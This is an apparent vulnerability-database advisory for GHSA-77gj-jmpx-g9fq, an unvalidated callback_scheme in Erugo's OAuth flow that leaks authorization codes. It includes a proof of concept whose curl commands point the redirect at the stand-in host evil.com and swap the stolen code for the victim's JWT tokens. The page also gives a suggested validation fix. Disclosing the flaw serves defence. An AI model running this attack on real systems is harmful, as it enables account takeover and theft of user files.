Visit the Wiz Whimzical Shop at AWS re:Invent
Vulnerability DatabaseGHSA-77gj-jmpx-g9fq

GHSA-77gj-jmpx-g9fq: 
PHP vulnerability analysis and mitigation

Summary

The POST /api/app/auth/external/initiate endpoint accepts a user-supplied callback_scheme parameter with insufficient validation ('required|string|max:50'). There is no check that the value is a legitimate custom URL scheme. This value is stored in the database and later used to construct a redirect URL that sends the OAuth authorization code to whichever domain the attacker specified, enabling full account takeover.

Details

In ExternalAuthController.php (lines 125-131 and 462-470), the callback_scheme from AppAuthState is concatenated directly into a redirect URL: $callbackScheme = $authState->callback_scheme; $redirectUrl = $callbackScheme . '://auth-callback?' . http_build_query([ 'code' => $code, 'state' => $state, ]); return redirect()->away($redirectUrl); The callback_scheme is set by user input in AppAuthController.php (lines 685, 723 for login; 930, 986 for account linking) with only 'required|string|max:50' validation — no format check for a valid URL scheme. An attacker sets callback_scheme to 'https://evil.com/steal?x', which constructs: https://evil.com/steal?x://auth-callback?code=VICTIM_CODE&state=STATE — the browser navigates to evil.com, leaking the OAuth authorization code. The endpoint POST /api/app/auth/external/initiate (routes/api_app.php line 50) is unauthenticated — no auth middleware, only rate limiting. Both the login flow and the account-linking flow (external/link) are affected.

Proof of concept

Step 1: Attacker initiates OAuth flow with malicious callback_scheme

curl -X POST https://target-erugo.com/api/app/auth/external/initiate
-H "Content-Type: application/json"
-d '{"provider_id": 1, "callback_scheme": "https://evil.com/steal?x"}'

Response contains authorization_url and state

Step 2: Attacker sends authorization_url to victim via phishing

Step 3: Victim clicks link, authorizes at OAuth provider (Google/Microsoft/etc.)

Step 4: OAuth provider redirects back to Erugo with victim's code

Step 5: Erugo redirects victim's browser to:

https://evil.com/steal?x://auth-callback?code=VICTIM_AUTH_CODE&state=ATTACKER_STATE

Browser navigates to evil.com — attacker receives the OAuth code

Step 6: Attacker completes the flow to get JWT tokens

curl -X POST https://target-erugo.com/api/app/auth/external/complete
-H "Content-Type: application/json"
-d '{"code": "STOLEN_CODE", "state": "KNOWN_STATE"}'

Response contains JWT access and refresh tokens for the victim's account

Full account takeover achieved.

Impact

Complete account takeover of any user who clicks an OAuth authorization link crafted by an attacker. The attacker gains full access to all files, shares, and settings in the victim's Erugo instance. Both the login and account-linking OAuth flows are affected. Suggested fix: Validate callback_scheme against a strict pattern: 'callback_scheme' => ['required', 'string', 'max:50', 'regex:/^[a-zA-Z][a-zA-Z0-9+.-]*$/', 'not_regex:/^(https?|javascript|data|ftp|file|blob|vbscript)/i']


Source: NVD

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-77gj-jmpx-g9fqHIGH8.1
  • PHP logoPHP
  • erugooss/erugo
NoYesNov 30, 2026
GHSA-679q-wc28-7wrvMEDIUM6.3
  • PHP logoPHP
  • knplabs/knp-snappy
NoYesNov 30, 2026
GHSA-qjgm-48mm-xm5qMEDIUM4.8
  • PHP logoPHP
  • bitpay/module-bpcheckout
NoYesNov 30, 2026
GHSA-v2m3-jwg5-vv65HIGHN/A
  • PHP logoPHP
  • tina4stack/tina4php
NoYesNov 30, 2026
GHSA-h2mr-m3v3-cq8cLOWN/A
  • JavaScript logoJavaScript
  • tina4-python
NoYesNov 30, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management